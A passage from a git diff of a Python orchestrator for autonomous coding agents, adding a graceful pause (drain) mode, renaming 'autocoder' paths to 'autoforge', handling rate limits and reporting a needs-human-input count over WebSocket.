["playwright-cli", "kill-all"],
|
||||||
|
timeout=5, capture_output=True,
|
||||||
|
)
|
||||||
|
except (subprocess.TimeoutExpired, FileNotFoundError, OSError):
|
||||||
|
pass
|
||||||
|
|
||||||
# CRITICAL: Kill entire process tree, not just orchestrator
|
# CRITICAL: Kill entire process tree, not just orchestrator
|
||||||
# This ensures all spawned coding/testing agents are also terminated
|
# This ensures all spawned coding/testing agents are also terminated
|
||||||
proc = self.process # Capture reference before async call
|
proc = self.process # Capture reference before async call
|
||||||
@@ -425,7 +536,14 @@ class AgentProcessManager:
|
|||||||
result.children_terminated, result.children_killed
|
result.children_terminated, result.children_killed
|
||||||
)
|
)
|
||||||
|
|
||||||
|
self._cleanup_stale_features()
|
||||||
self._remove_lock()
|
self._remove_lock()
|
||||||
|
# Clean up drain signal file if present
|
||||||
|
try:
|
||||||
|
from autoforge_paths import get_pause_drain_path
|
||||||
|
get_pause_drain_path(self.project_dir).unlink(missing_ok=True)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
self.status = "stopped"
|
self.status = "stopped"
|
||||||
self.process = None
|
self.process = None
|
||||||
self.started_at = None
|
self.started_at = None
|
||||||
@@ -486,6 +604,47 @@ class AgentProcessManager:
|
|||||||
logger.exception("Failed to resume agent")
|
logger.exception("Failed to resume agent")
|
||||||
return False, f"Failed to resume agent: {e}"
|
return False, f"Failed to resume agent: {e}"
|
||||||
|
|
||||||
|
async def graceful_pause(self) -> tuple[bool, str]:
|
||||||
|
"""Request a graceful pause (drain mode).
|
||||||
|
|
||||||
|
Creates a signal file that the orchestrator polls. Running agents
|
||||||
|
finish their current work before the orchestrator enters a paused state.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (success, message)
|
||||||
|
"""
|
||||||
|
if not self.process or self.status not in ("running",):
|
||||||
|
return False, "Agent is not running"
|
||||||
|
|
||||||
|
try:
|
||||||
|
from autoforge_paths import get_pause_drain_path
|
||||||
|
drain_path = get_pause_drain_path(self.project_dir)
|
||||||
|
drain_path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
drain_path.write_text(str(self.process.pid))
|
||||||
|
self.status = "pausing"
|
||||||
|
return True, "Graceful pause requested"
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("Failed to request graceful pause")
|
||||||
|
return False, f"Failed to request graceful pause: {e}"
|
||||||
|
|
||||||
|
async def graceful_resume(self) -> tuple[bool, str]:
|
||||||
|
"""Resume from a graceful pause by removing the drain signal file.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (success, message)
|
||||||
|
"""
|
||||||
|
if not self.process or self.status not in ("pausing", "paused_graceful"):
|
||||||
|
return False, "Agent is not in a graceful pause state"
|
||||||
|
|
||||||
|
try:
|
||||||
|
from autoforge_paths import get_pause_drain_path
|
||||||
|
get_pause_drain_path(self.project_dir).unlink(missing_ok=True)
|
||||||
|
self.status = "running"
|
||||||
|
return True, "Agent resumed from graceful pause"
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("Failed to resume from graceful pause")
|
||||||
|
return False, f"Failed to resume: {e}"
|
||||||
|
|
||||||
async def healthcheck(self) -> bool:
|
async def healthcheck(self) -> bool:
|
||||||
"""
|
"""
|
||||||
Check if the agent process is still alive.
|
Check if the agent process is still alive.
|
||||||
@@ -501,7 +660,14 @@ class AgentProcessManager:
|
|||||||
poll = self.process.poll()
|
poll = self.process.poll()
|
||||||
if poll is not None:
|
if poll is not None:
|
||||||
# Process has terminated
|
# Process has terminated
|
||||||
if self.status in ("running", "paused"):
|
if self.status in ("running", "paused", "pausing", "paused_graceful"):
|
||||||
|
self._cleanup_stale_features()
|
||||||
|
# Clean up drain signal file if present
|
||||||
|
try:
|
||||||
|
from autoforge_paths import get_pause_drain_path
|
||||||
|
get_pause_drain_path(self.project_dir).unlink(missing_ok=True)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
self.status = "crashed"
|
self.status = "crashed"
|
||||||
self._remove_lock()
|
self._remove_lock()
|
||||||
return False
|
return False
|
||||||
@@ -586,11 +752,17 @@ def cleanup_orphaned_locks() -> int:
|
|||||||
if not project_path.exists():
|
if not project_path.exists():
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
# Clean up stale drain signal files
|
||||||
|
from autoforge_paths import get_autoforge_dir, get_pause_drain_path
|
||||||
|
drain_file = get_pause_drain_path(project_path)
|
||||||
|
if drain_file.exists():
|
||||||
|
drain_file.unlink(missing_ok=True)
|
||||||
|
logger.info("Removed stale drain signal file for project '%s'", name)
|
||||||
|
|
||||||
# Check both legacy and new locations for lock files
|
# Check both legacy and new locations for lock files
|
||||||
from autocoder_paths import get_autocoder_dir
|
|
||||||
lock_locations = [
|
lock_locations = [
|
||||||
project_path / ".agent.lock",
|
project_path / ".agent.lock",
|
||||||
get_autocoder_dir(project_path) / ".agent.lock",
|
get_autoforge_dir(project_path) / ".agent.lock",
|
||||||
]
|
]
|
||||||
lock_file = None
|
lock_file = None
|
||||||
for candidate in lock_locations:
|
for candidate in lock_locations:
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ Handles project type detection and dev command configuration.
|
|||||||
Detects project types by scanning for configuration files and provides
|
Detects project types by scanning for configuration files and provides
|
||||||
default or custom dev commands for each project.
|
default or custom dev commands for each project.
|
||||||
|
|
||||||
Configuration is stored in {project_dir}/.autocoder/config.json.
|
Configuration is stored in {project_dir}/.autoforge/config.json.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import json
|
import json
|
||||||
@@ -88,13 +88,22 @@ def _get_config_path(project_dir: Path) -> Path:
|
|||||||
"""
|
"""
|
||||||
Get the path to the project config file.
|
Get the path to the project config file.
|
||||||
|
|
||||||
|
Checks the new .autoforge/ location first, falls back to .autocoder/
|
||||||
|
for backward compatibility.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
project_dir: Path to the project directory.
|
project_dir: Path to the project directory.
|
||||||
|
|
||||||
Returns:
|
Returns:
|
||||||
Path to the .autocoder/config.json file.
|
Path to the config.json file in the appropriate directory.
|
||||||
"""
|
"""
|
||||||
return project_dir / ".autocoder" / "config.json"
|
new_path = project_dir / ".autoforge" / "config.json"
|
||||||
|
if new_path.exists():
|
||||||
|
return new_path
|
||||||
|
old_path = project_dir / ".autocoder" / "config.json"
|
||||||
|
if old_path.exists():
|
||||||
|
return old_path
|
||||||
|
return new_path
|
||||||
|
|
||||||
|
|
||||||
def _load_config(project_dir: Path) -> dict:
|
def _load_config(project_dir: Path) -> dict:
|
||||||
@@ -137,7 +146,7 @@ def _save_config(project_dir: Path, config: dict) -> None:
|
|||||||
"""
|
"""
|
||||||
Save the project configuration to disk.
|
Save the project configuration to disk.
|
||||||
|
|
||||||
Creates the .autocoder directory if it doesn't exist.
|
Creates the .autoforge directory if it doesn't exist.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
project_dir: Path to the project directory.
|
project_dir: Path to the project directory.
|
||||||
@@ -148,7 +157,7 @@ def _save_config(project_dir: Path, config: dict) -> None:
|
|||||||
"""
|
"""
|
||||||
config_path = _get_config_path(project_dir)
|
config_path = _get_config_path(project_dir)
|
||||||
|
|
||||||
# Ensure the .autocoder directory exists
|
# Ensure the .autoforge directory exists
|
||||||
config_path.parent.mkdir(parents=True, exist_ok=True)
|
config_path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@@ -408,11 +417,11 @@ def clear_dev_command(project_dir: Path) -> None:
|
|||||||
config_path.unlink(missing_ok=True)
|
config_path.unlink(missing_ok=True)
|
||||||
logger.info("Removed empty config file for %s", project_dir.name)
|
logger.info("Removed empty config file for %s", project_dir.name)
|
||||||
|
|
||||||
# Also remove .autocoder directory if empty
|
# Also remove .autoforge directory if empty
|
||||||
autocoder_dir = config_path.parent
|
autoforge_dir = config_path.parent
|
||||||
if autocoder_dir.exists() and not any(autocoder_dir.iterdir()):
|
if autoforge_dir.exists() and not any(autoforge_dir.iterdir()):
|
||||||
autocoder_dir.rmdir()
|
autoforge_dir.rmdir()
|
||||||
logger.debug("Removed empty .autocoder directory for %s", project_dir.name)
|
logger.debug("Removed empty .autoforge directory for %s", project_dir.name)
|
||||||
except OSError as e:
|
except OSError as e:
|
||||||
logger.warning("Failed to clean up config for %s: %s", project_dir.name, e)
|
logger.warning("Failed to clean up config for %s: %s", project_dir.name, e)
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -92,7 +92,7 @@ class SchedulerService:
|
|||||||
async def _load_project_schedules(self, project_name: str, project_dir: Path) -> int:
|
async def _load_project_schedules(self, project_name: str, project_dir: Path) -> int:
|
||||||
"""Load schedules for a single project. Returns count of schedules loaded."""
|
"""Load schedules for a single project. Returns count of schedules loaded."""
|
||||||
from api.database import Schedule, create_database
|
from api.database import Schedule, create_database
|
||||||
from autocoder_paths import get_features_db_path
|
from autoforge_paths import get_features_db_path
|
||||||
|
|
||||||
db_path = get_features_db_path(project_dir)
|
db_path = get_features_db_path(project_dir)
|
||||||
if not db_path.exists():
|
if not db_path.exists():
|
||||||
@@ -568,7 +568,7 @@ class SchedulerService:
|
|||||||
):
|
):
|
||||||
"""Check if a project should be started on server startup."""
|
"""Check if a project should be started on server startup."""
|
||||||
from api.database import Schedule, ScheduleOverride, create_database
|
from api.database import Schedule, ScheduleOverride, create_database
|
||||||
from autocoder_paths import get_features_db_path
|
from autoforge_paths import get_features_db_path
|
||||||
|
|
||||||
db_path = get_features_db_path(project_dir)
|
db_path = get_features_db_path(project_dir)
|
||||||
if not db_path.exists():
|
if not db_path.exists():
|
||||||
|
|||||||
@@ -19,7 +19,12 @@ from claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient
|
|||||||
from dotenv import load_dotenv
|
from dotenv import load_dotenv
|
||||||
|
|
||||||
from ..schemas import ImageAttachment
|
from ..schemas import ImageAttachment
|
||||||
from .chat_constants import API_ENV_VARS, ROOT_DIR, make_multimodal_message
|
from .chat_constants import (
|
||||||
|
ROOT_DIR,
|
||||||
|
check_rate_limit_error,
|
||||||
|
make_multimodal_message,
|
||||||
|
safe_receive_response,
|
||||||
|
)
|
||||||
|
|
||||||
# Load environment variables from .env file if present
|
# Load environment variables from .env file if present
|
||||||
load_dotenv()
|
load_dotenv()
|
||||||
@@ -95,7 +100,7 @@ class SpecChatSession:
|
|||||||
# Delete app_spec.txt so Claude can create it fresh
|
# Delete app_spec.txt so Claude can create it fresh
|
||||||
# The SDK requires reading existing files before writing, but app_spec.txt is created new
|
# The SDK requires reading existing files before writing, but app_spec.txt is created new
|
||||||
# Note: We keep initializer_prompt.md so Claude can read and update the template
|
# Note: We keep initializer_prompt.md so Claude can read and update the template
|
||||||
from autocoder_paths import get_prompts_dir
|
from autoforge_paths import get_prompts_dir
|
||||||
prompts_dir = get_prompts_dir(self.project_dir)
|
prompts_dir = get_prompts_dir(self.project_dir)
|
||||||
app_spec_path = prompts_dir / "app_spec.txt"
|
app_spec_path = prompts_dir / "app_spec.txt"
|
||||||
if app_spec_path.exists():
|
if app_spec_path.exists():
|
||||||
@@ -116,7 +121,7 @@ class SpecChatSession:
|
|||||||
],
|
],
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
from autocoder_paths import get_claude_settings_path
|
from autoforge_paths import get_claude_settings_path
|
||||||
settings_file = get_claude_settings_path(self.project_dir)
|
settings_file = get_claude_settings_path(self.project_dir)
|
||||||
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
||||||
with open(settings_file, "w") as f:
|
with open(settings_file, "w") as f:
|
||||||
@@ -140,16 +145,11 @@ class SpecChatSession:
|
|||||||
system_cli = shutil.which("claude")
|
system_cli = shutil.which("claude")
|
||||||
|
|
||||||
# Build environment overrides for API configuration
|
# Build environment overrides for API configuration
|
||||||
# Filter to only include vars that are actually set (non-None)
|
from registry import DEFAULT_MODEL, get_effective_sdk_env
|
||||||
sdk_env: dict[str, str] = {}
|
sdk_env = get_effective_sdk_env()
|
||||||
for var in API_ENV_VARS:
|
|
||||||
value = os.getenv(var)
|
|
||||||
if value:
|
|
||||||
sdk_env[var] = value
|
|
||||||
|
|
||||||
# Determine model from environment or use default
|
# Determine model from SDK env (provider-aware) or fallback to env/default
|
||||||
# This allows using alternative APIs (e.g., GLM via z.ai) that may not support Claude model names
|
model = sdk_env.get("ANTHROPIC_DEFAULT_OPUS_MODEL") or os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", DEFAULT_MODEL)
|
||||||
model = os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", "claude-opus-4-5-20251101")
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.client = ClaudeSDKClient(
|
self.client = ClaudeSDKClient(
|
||||||
@@ -309,117 +309,125 @@ class SpecChatSession:
|
|||||||
# Store paths for the completion message
|
# Store paths for the completion message
|
||||||
spec_path = None
|
spec_path = None
|
||||||
|
|
||||||
# Stream the response using receive_response
|
# Stream the response
|
||||||
async for msg in self.client.receive_response():
|
try:
|
||||||
msg_type = type(msg).__name__
|
async for msg in safe_receive_response(self.client, logger):
|
||||||
|
msg_type = type(msg).__name__
|
||||||
|
|
||||||
if msg_type == "AssistantMessage" and hasattr(msg, "content"):
|
if msg_type == "AssistantMessage" and hasattr(msg, "content"):
|
||||||
# Process content blocks in the assistant message
|
# Process content blocks in the assistant message
|
||||||
for block in msg.content:
|
for block in msg.content:
|
||||||
block_type = type(block).__name__
|
block_type = type(block).__name__
|
||||||
|
|
||||||
if block_type == "TextBlock" and hasattr(block, "text"):
|
if block_type == "TextBlock" and hasattr(block, "text"):
|
||||||
# Accumulate text and yield it
|
# Accumulate text and yield it
|
||||||
text = block.text
|
text = block.text
|
||||||
if text:
|
if text:
|
||||||
current_text += text
|
current_text += text
|
||||||
yield {"type": "text", "content": text}
|
yield {"type": "text", "content": text}
|
||||||
|
|
||||||
# Store in message history
|
# Store in message history
|
||||||
self.messages.append({
|
self.messages.append({
|
||||||
"role": "assistant",
|
"role": "assistant",
|
||||||
"content": text,
|
"content": text,
|
||||||
"timestamp": datetime.now().isoformat()
|
"timestamp": datetime.now().isoformat()
|
||||||
})
|
})
|
||||||
|
|
||||||
elif block_type == "ToolUseBlock" and hasattr(block, "name"):
|
elif block_type == "ToolUseBlock" and hasattr(block, "name"):
|
||||||
tool_name = block.name
|
tool_name = block.name
|
||||||
tool_input = getattr(block, "input", {})
|
tool_input = getattr(block, "input", {})
|
||||||
tool_id = getattr(block, "id", "")
|
tool_id = getattr(block, "id", "")
|
||||||
|
|
||||||
if tool_name in ("Write", "Edit"):
|
if tool_name in ("Write", "Edit"):
|
||||||
# File being written or edited - track for verification
|
# File being written or edited - track for verification
|
||||||
file_path = tool_input.get("file_path", "")
|
file_path = tool_input.get("file_path", "")
|
||||||
|
|
||||||
# Track app_spec.txt
|
# Track app_spec.txt
|
||||||
if "app_spec.txt" in str(file_path):
|
if "app_spec.txt" in str(file_path):
|
||||||
pending_writes["app_spec"] = {
|
pending_writes["app_spec"] = {
|
||||||
"tool_id": tool_id,
|
"tool_id": tool_id,
|
||||||
"path": file_path
|
"path": file_path
|
||||||
}
|
|
||||||
logger.info(f"{tool_name} tool called for app_spec.txt: {file_path}")
|
|
||||||
|
|
||||||
# Track initializer_prompt.md
|
|
||||||
elif "initializer_prompt.md" in str(file_path):
|
|
||||||
pending_writes["initializer"] = {
|
|
||||||
"tool_id": tool_id,
|
|
||||||
"path": file_path
|
|
||||||
}
|
|
||||||
logger.info(f"{tool_name} tool called for initializer_prompt.md: {file_path}")
|
|
||||||
|
|
||||||
elif msg_type == "UserMessage" and hasattr(msg, "content"):
|
|
||||||
# Tool results - check for write confirmations and errors
|
|
||||||
for block in msg.content:
|
|
||||||
block_type = type(block).__name__
|
|
||||||
if block_type == "ToolResultBlock":
|
|
||||||
is_error = getattr(block, "is_error", False)
|
|
||||||
tool_use_id = getattr(block, "tool_use_id", "")
|
|
||||||
|
|
||||||
if is_error:
|
|
||||||
content = getattr(block, "content", "Unknown error")
|
|
||||||
logger.warning(f"Tool error: {content}")
|
|
||||||
# Clear any pending writes that failed
|
|
||||||
for key in pending_writes:
|
|
||||||
pending_write = pending_writes[key]
|
|
||||||
if pending_write is not None and tool_use_id == pending_write.get("tool_id"):
|
|
||||||
logger.error(f"{key} write failed: {content}")
|
|
||||||
pending_writes[key] = None
|
|
||||||
else:
|
|
||||||
# Tool succeeded - check which file was written
|
|
||||||
|
|
||||||
# Check app_spec.txt
|
|
||||||
if pending_writes["app_spec"] and tool_use_id == pending_writes["app_spec"].get("tool_id"):
|
|
||||||
file_path = pending_writes["app_spec"]["path"]
|
|
||||||
full_path = Path(file_path) if Path(file_path).is_absolute() else self.project_dir / file_path
|
|
||||||
if full_path.exists():
|
|
||||||
logger.info(f"app_spec.txt verified at: {full_path}")
|
|
||||||
files_written["app_spec"] = True
|
|
||||||
spec_path = file_path
|
|
||||||
|
|
||||||
# Notify about file write (but NOT completion yet)
|
|
||||||
yield {
|
|
||||||
"type": "file_written",
|
|
||||||
"path": str(file_path)
|
|
||||||
}
|
}
|
||||||
else:
|
logger.info(f"{tool_name} tool called for app_spec.txt: {file_path}")
|
||||||
logger.error(f"app_spec.txt not found after write: {full_path}")
|
|
||||||
pending_writes["app_spec"] = None
|
|
||||||
|
|
||||||
# Check initializer_prompt.md
|
# Track initializer_prompt.md
|
||||||
if pending_writes["initializer"] and tool_use_id == pending_writes["initializer"].get("tool_id"):
|
elif "initializer_prompt.md" in str(file_path):
|
||||||
file_path = pending_writes["initializer"]["path"]
|
pending_writes["initializer"] = {
|
||||||
full_path = Path(file_path) if Path(file_path).is_absolute() else self.project_dir / file_path
|
"tool_id": tool_id,
|
||||||
if full_path.exists():
|
"path": file_path
|
||||||
logger.info(f"initializer_prompt.md verified at: {full_path}")
|
|
||||||
files_written["initializer"] = True
|
|
||||||
|
|
||||||
# Notify about file write
|
|
||||||
yield {
|
|
||||||
"type": "file_written",
|
|
||||||
"path": str(file_path)
|
|
||||||
}
|
}
|
||||||
else:
|
logger.info(f"{tool_name} tool called for initializer_prompt.md: {file_path}")
|
||||||
logger.error(f"initializer_prompt.md not found after write: {full_path}")
|
|
||||||
pending_writes["initializer"] = None
|
|
||||||
|
|
||||||
# Check if BOTH files are now written - only then signal completion
|
elif msg_type == "UserMessage" and hasattr(msg, "content"):
|
||||||
if files_written["app_spec"] and files_written["initializer"]:
|
# Tool results - check for write confirmations and errors
|
||||||
logger.info("Both app_spec.txt and initializer_prompt.md verified - signaling completion")
|
for block in msg.content:
|
||||||
self.complete = True
|
block_type = type(block).__name__
|
||||||
yield {
|
if block_type == "ToolResultBlock":
|
||||||
"type": "spec_complete",
|
is_error = getattr(block, "is_error", False)
|
||||||
"path": str(spec_path)
|
tool_use_id = getattr(block, "tool_use_id", "")
|
||||||
}
|
|
||||||
|
if is_error:
|
||||||
|
content = getattr(block, "content", "Unknown error")
|
||||||
|
logger.warning(f"Tool error: {content}")
|
||||||
|
# Clear any pending writes that failed
|
||||||
|
for key in pending_writes:
|
||||||
|
pending_write = pending_writes[key]
|
||||||
|
if pending_write is not None and tool_use_id == pending_write.get("tool_id"):
|
||||||
|
logger.error(f"{key} write failed: {content}")
|
||||||
|
pending_writes[key] = None
|
||||||
|
else:
|
||||||
|
# Tool succeeded - check which file was written
|
||||||
|
|
||||||
|
# Check app_spec.txt
|
||||||
|
if pending_writes["app_spec"] and tool_use_id == pending_writes["app_spec"].get("tool_id"):
|
||||||
|
file_path = pending_writes["app_spec"]["path"]
|
||||||
|
full_path = Path(file_path) if Path(file_path).is_absolute() else self.project_dir / file_path
|
||||||
|
if full_path.exists():
|
||||||
|
logger.info(f"app_spec.txt verified at: {full_path}")
|
||||||
|
files_written["app_spec"] = True
|
||||||
|
spec_path = file_path
|
||||||
|
|
||||||
|
# Notify about file write (but NOT completion yet)
|
||||||
|
yield {
|
||||||
|
"type": "file_written",
|
||||||
|
"path": str(file_path)
|
||||||
|
}
|
||||||
|
else:
|
||||||
|
logger.error(f"app_spec.txt not found after write: {full_path}")
|
||||||
|
pending_writes["app_spec"] = None
|
||||||
|
|
||||||
|
# Check initializer_prompt.md
|
||||||
|
if pending_writes["initializer"] and tool_use_id == pending_writes["initializer"].get("tool_id"):
|
||||||
|
file_path = pending_writes["initializer"]["path"]
|
||||||
|
full_path = Path(file_path) if Path(file_path).is_absolute() else self.project_dir / file_path
|
||||||
|
if full_path.exists():
|
||||||
|
logger.info(f"initializer_prompt.md verified at: {full_path}")
|
||||||
|
files_written["initializer"] = True
|
||||||
|
|
||||||
|
# Notify about file write
|
||||||
|
yield {
|
||||||
|
"type": "file_written",
|
||||||
|
"path": str(file_path)
|
||||||
|
}
|
||||||
|
else:
|
||||||
|
logger.error(f"initializer_prompt.md not found after write: {full_path}")
|
||||||
|
pending_writes["initializer"] = None
|
||||||
|
|
||||||
|
# Check if BOTH files are now written - only then signal completion
|
||||||
|
if files_written["app_spec"] and files_written["initializer"]:
|
||||||
|
logger.info("Both app_spec.txt and initializer_prompt.md verified - signaling completion")
|
||||||
|
self.complete = True
|
||||||
|
yield {
|
||||||
|
"type": "spec_complete",
|
||||||
|
"path": str(spec_path)
|
||||||
|
}
|
||||||
|
except Exception as exc:
|
||||||
|
is_rate_limit, _ = check_rate_limit_error(exc)
|
||||||
|
if is_rate_limit:
|
||||||
|
logger.warning(f"Rate limited: {exc}")
|
||||||
|
yield {"type": "error", "content": "Rate limited. Please try again later."}
|
||||||
|
return
|
||||||
|
raise
|
||||||
|
|
||||||
def is_complete(self) -> bool:
|
def is_complete(self) -> bool:
|
||||||
"""Check if spec creation is complete."""
|
"""Check if spec creation is complete."""
|
||||||
|
|||||||
@@ -61,7 +61,7 @@ THOUGHT_PATTERNS = [
|
|||||||
(re.compile(r'(?:Testing|Verifying|Running tests|Validating)\s+(.+)', re.I), 'testing'),
|
(re.compile(r'(?:Testing|Verifying|Running tests|Validating)\s+(.+)', re.I), 'testing'),
|
||||||
(re.compile(r'(?:Error|Failed|Cannot|Unable to|Exception)\s+(.+)', re.I), 'struggling'),
|
(re.compile(r'(?:Error|Failed|Cannot|Unable to|Exception)\s+(.+)', re.I), 'struggling'),
|
||||||
# Test results
|
# Test results
|
||||||
(re.compile(r'(?:PASS|passed|success)', re.I), 'success'),
|
(re.compile(r'(?:PASS|passed|success)', re.I), 'testing'),
|
||||||
(re.compile(r'(?:FAIL|failed|error)', re.I), 'struggling'),
|
(re.compile(r'(?:FAIL|failed|error)', re.I), 'struggling'),
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -78,6 +78,9 @@ ORCHESTRATOR_PATTERNS = {
|
|||||||
'testing_complete': re.compile(r'Feature #(\d+) testing (completed|failed)'),
|
'testing_complete': re.compile(r'Feature #(\d+) testing (completed|failed)'),
|
||||||
'all_complete': re.compile(r'All features complete'),
|
'all_complete': re.compile(r'All features complete'),
|
||||||
'blocked_features': re.compile(r'(\d+) blocked by dependencies'),
|
'blocked_features': re.compile(r'(\d+) blocked by dependencies'),
|
||||||
|
'drain_start': re.compile(r'Graceful pause requested'),
|
||||||
|
'drain_complete': re.compile(r'All agents drained'),
|
||||||
|
'drain_resume': re.compile(r'Resuming from graceful pause'),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -562,6 +565,30 @@ class OrchestratorTracker:
|
|||||||
'All features complete!'
|
'All features complete!'
|
||||||
)
|
)
|
||||||
|
|
||||||
|
# Graceful pause (drain mode) events
|
||||||
|
elif ORCHESTRATOR_PATTERNS['drain_start'].search(line):
|
||||||
|
self.state = 'draining'
|
||||||
|
update = self._create_update(
|
||||||
|
'drain_start',
|
||||||
|
'Draining active agents...'
|
||||||
|
)
|
||||||
|
|
||||||
|
elif ORCHESTRATOR_PATTERNS['drain_complete'].search(line):
|
||||||
|
self.state = 'paused'
|
||||||
|
self.coding_agents = 0
|
||||||
|
self.testing_agents = 0
|
||||||
|
update = self._create_update(
|
||||||
|
'drain_complete',
|
||||||
|
'All agents drained. Paused.'
|
||||||
|
)
|
||||||
|
|
||||||
|
elif ORCHESTRATOR_PATTERNS['drain_resume'].search(line):
|
||||||
|
self.state = 'scheduling'
|
||||||
|
update = self._create_update(
|
||||||
|
'drain_resume',
|
||||||
|
'Resuming feature scheduling'
|
||||||
|
)
|
||||||
|
|
||||||
return update
|
return update
|
||||||
|
|
||||||
def _create_update(
|
def _create_update(
|
||||||
@@ -640,9 +667,7 @@ class ConnectionManager:
|
|||||||
self._lock = asyncio.Lock()
|
self._lock = asyncio.Lock()
|
||||||
|
|
||||||
async def connect(self, websocket: WebSocket, project_name: str):
|
async def connect(self, websocket: WebSocket, project_name: str):
|
||||||
"""Accept a WebSocket connection for a project."""
|
"""Register a WebSocket connection for a project (must already be accepted)."""
|
||||||
await websocket.accept()
|
|
||||||
|
|
||||||
async with self._lock:
|
async with self._lock:
|
||||||
if project_name not in self.active_connections:
|
if project_name not in self.active_connections:
|
||||||
self.active_connections[project_name] = set()
|
self.active_connections[project_name] = set()
|
||||||
@@ -691,15 +716,19 @@ async def poll_progress(websocket: WebSocket, project_name: str, project_dir: Pa
|
|||||||
last_in_progress = -1
|
last_in_progress = -1
|
||||||
last_total = -1
|
last_total = -1
|
||||||
|
|
||||||
|
last_needs_human_input = -1
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
passing, in_progress, total = count_passing_tests(project_dir)
|
passing, in_progress, total, needs_human_input = count_passing_tests(project_dir)
|
||||||
|
|
||||||
# Only send if changed
|
# Only send if changed
|
||||||
if passing != last_passing or in_progress != last_in_progress or total != last_total:
|
if (passing != last_passing or in_progress != last_in_progress
|
||||||
|
or total != last_total or needs_human_input != last_needs_human_input):
|
||||||
last_passing = passing
|
last_passing = passing
|
||||||
last_in_progress = in_progress
|
last_in_progress = in_progress
|
||||||
last_total = total
|
last_total = total
|
||||||
|
last_needs_human_input = needs_human_input
|
||||||
percentage = (passing / total * 100) if total > 0 else 0
|
percentage = (passing / total * 100) if total > 0 else 0
|
||||||
|
|
||||||
await websocket.send_json({
|
await websocket.send_json({
|
||||||
@@ -708,6 +737,7 @@ async def poll_progress(websocket: WebSocket, project_name: str, project_dir: Pa
|
|||||||
"in_progress": in_progress,
|
"in_progress": in_progress,
|
||||||
"total": total,
|
"total": total,
|
||||||
"percentage": round(percentage, 1),
|
"percentage": round(percentage, 1),
|
||||||
|
"needs_human_input": needs_human_input,
|
||||||
})
|
})
|
||||||
|
|
||||||
await asyncio.sleep(2) # Poll every 2 seconds
|
await asyncio.sleep(2) # Poll every 2 seconds
|
||||||
@@ -727,16 +757,22 @@ async def project_websocket(websocket: WebSocket, project_name: str):
|
|||||||
- Agent status changes
|
- Agent status changes
|
||||||
- Agent stdout/stderr lines
|
- Agent stdout/stderr lines
|
||||||
"""
|
"""
|
||||||
|
# Always accept WebSocket first to avoid opaque 403 errors
|
||||||
|
await websocket.accept()
|
||||||
|
|
||||||
if not validate_project_name(project_name):
|
if not validate_project_name(project_name):
|
||||||
|
await websocket.send_json({"type": "error", "content": "Invalid project name"})
|
||||||
await websocket.close(code=4000, reason="Invalid project name")
|
await websocket.close(code=4000, reason="Invalid project name")
|
||||||
return
|
return
|
||||||
|
|
||||||
project_dir = _get_project_path(project_name)
|
project_dir = _get_project_path(project_name)
|
||||||
if not project_dir:
|
if not project_dir:
|
||||||
|
await websocket.send_json({"type": "error", "content": "Project not found in registry"})
|
||||||
await websocket.close(code=4004, reason="Project not found in registry")
|
await websocket.close(code=4004, reason="Project not found in registry")
|
||||||
return
|
return
|
||||||
|
|
||||||
if not project_dir.exists():
|
if not project_dir.exists():
|
||||||
|
await websocket.send_json({"type": "error", "content": "Project directory not found"})
|
||||||
await websocket.close(code=4004, reason="Project directory not found")
|
await websocket.close(code=4004, reason="Project directory not found")
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -854,7 +890,7 @@ async def project_websocket(websocket: WebSocket, project_name: str):
|
|||||||
|
|
||||||
# Send initial progress
|
# Send initial progress
|
||||||
count_passing_tests = _get_count_passing_tests()
|
count_passing_tests = _get_count_passing_tests()
|
||||||
passing, in_progress, total = count_passing_tests(project_dir)
|
passing, in_progress, total, needs_human_input = count_passing_tests(project_dir)
|
||||||
percentage = (passing / total * 100) if total > 0 else 0
|
percentage = (passing / total * 100) if total > 0 else 0
|
||||||
await websocket.send_json({
|
await websocket.send_json({
|
||||||
"type": "progress",
|
"type": "progress",
|
||||||
@@ -862,6 +898,7 @@ async def project_websocket(websocket: WebSocket, project_name: str):
|
|||||||
"in_progress": in_progress,
|
"in_progress": in_progress,
|
||||||
"total": total,
|
"total": total,
|
||||||
"percentage": round(percentage, 1),
|
"percentage": round(percentage, 1),
|
||||||
|
"needs_human_input": needs_human_input,
|
||||||
})
|
})
|
||||||
|
|
||||||
# Keep connection alive and handle incoming messages
|
# Keep connection alive and handle incoming messages
|
||||||
@@ -879,8 +916,7 @@ async def project_websocket(websocket: WebSocket, project_name: str):
|
|||||||
break
|
break
|
||||||
except json.JSONDecodeError:
|
except json.JSONDecodeError:
|
||||||
logger.warning(f"Invalid JSON from WebSocket: {data[:100] if data else 'empty'}")
|
logger.warning(f"Invalid JSON from WebSocket: {data[:100] if data else 'empty'}")
|
||||||
except Exception as e:
|
except Exception:
|
||||||
logger.warning(f"WebSocket error: {e}")
|
|
||||||
break
|
break
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
|
|||||||
12
start.bat
12
start.bat
@@ -3,7 +3,7 @@ cd /d "%~dp0"
|
|||||||
|
|
||||||
echo.
|
echo.
|
||||||
echo ========================================
|
echo ========================================
|
||||||
echo Autonomous Coding Agent
|
